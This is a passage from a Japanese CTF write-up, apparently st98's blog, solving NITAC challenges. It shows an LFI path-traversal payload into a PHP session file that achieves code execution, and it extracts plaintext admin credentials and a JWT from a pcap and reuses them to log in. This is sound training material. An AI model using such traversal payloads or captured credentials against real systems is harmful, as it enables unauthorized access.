-r--r--r--   1 root root   36 Jan 25 08:13 flag1.txt
-r--r--r--   1 root root   32 Jan 25 08:13 flag2.txt
---x--x--x   1 root root 5184 Jan 25 08:13 flag3.execute_me
drwxr-xr-x   2 root root 4096 Nov 10 12:17 home
drwxr-xr-x   1 root root 4096 Dec 28 20:46 lib
drwxr-xr-x   2 root root 4096 Dec 24 00:00 lib64
drwxr-xr-x   2 root root 4096 Dec 24 00:00 media
drwxr-xr-x   2 root root 4096 Dec 24 00:00 mnt
drwxr-xr-x   2 root root 4096 Dec 24 00:00 opt
dr-xr-xr-x 210 root root    0 Jan 26 04:30 proc
drwx------   1 root root 4096 Jan 24 07:56 root
drwxr-xr-x   1 root root 4096 Dec 28 20:46 run
drwxr-xr-x   1 root root 4096 Dec 28 20:46 sbin
drwxr-xr-x   2 root root 4096 Dec 24 00:00 srv
dr-xr-xr-x  13 root root    0 Jan 26 00:55 sys
drwxrwxrwt   1 root root 4096 Jan 26 05:29 tmp
drwxr-xr-x   1 root root 4096 Dec 24 00:00 usr
drwxr-xr-x   1 root root 4096 Dec 28 20:40 var
";        </main>
︙

?lang=../../../../tmp/sess_844ac4c965a367dfc0329fd5661c706b&0=/flag3* にアクセスするとフラグが得られました。

NITAC{n0w_u_kn0w_h0w_2_c4us3_RCE_us1ng_LFI}

[Network 100] JWT_auth (20 solves)

以下のpcapファイルを用いてFLAGを探し出せ。

添付ファイル: Network2.pcapng

Wireshark でパケットを片っ端から見ていくと、以下のような気になる通信が見つかりました。

POST /auth HTTP/1.1
Content-Type: application/json
User-Agent: PostmanRuntime/7.22.0
Accept: */*
Cache-Control: no-cache
Postman-Token: 8bad67d5-0ec1-4641-b395-c508a44228a3
Host: 34.97.60.103:80
Accept-Encoding: gzip, deflate, br
Content-Length: 82
Connection: keep-alive

{
	"username": "hoge",
    "password": "verification_code_is_admin_access_token"
}

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 193
Server: Werkzeug/0.16.0 Python/3.6.9
Date: Sun, 26 Jan 2020 06:57:02 GMT

{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1ODAwMjIxMjIsImlhdCI6MTU4MDAyMTgyMiwibmJmIjoxNTgwMDIxODIyLCJpZGVudGl0eSI6M30.A6xemDWUHIi2jUksaUiF52s-zjaoQtFuSUDLdPiQa8k"
}

なるほど。http contains "admin" というフィルターを適用して admin のアクセストークンを探すとすぐに見つかりました。

POST /auth HTTP/1.1
Content-Type: application/json
User-Agent: PostmanRuntime/7.22.0
Accept: */*
Cache-Control: no-cache
Postman-Token: ee04ae1f-89b1-4f11-b080-cea5f58b86c6
Host: 34.97.60.103:80
Accept-Encoding: gzip, deflate, br
Content-Length: 50
Connection: keep-alive

{
	"username": "admin",
    "password": "qwerty"
}

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 193
Server: Werkzeug/0.16.0 Python/3.6.9
Date: Sun, 26 Jan 2020 06:57:43 GMT

{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1ODAwMjIxNjMsImlhdCI6MTU4MDAyMTg2MywibmJmIjoxNTgwMDIxODYzLCJpZGVudGl0eSI6NX0.GXGHSkBaOsgw0pRfwLW-M53LZk7TCz9fSWr53LDQP1Y"
}

34.97.60.103:80 にアクセスし、admin / qwerty / eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1ODAwMjIxNjMsImlhdCI6MTU4MDAyMTg2MywibmJmIjoxNTgwMDIxODYzLCJpZGVudGl0eSI6NX0.GXGHSkBaOsgw0pRfwLW-M53LZk7TCz9fSWr53LDQP1Y を入力するとフラグが得られました。

NITAC{usin9_0n1y_jwt_is_uns3cur3}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳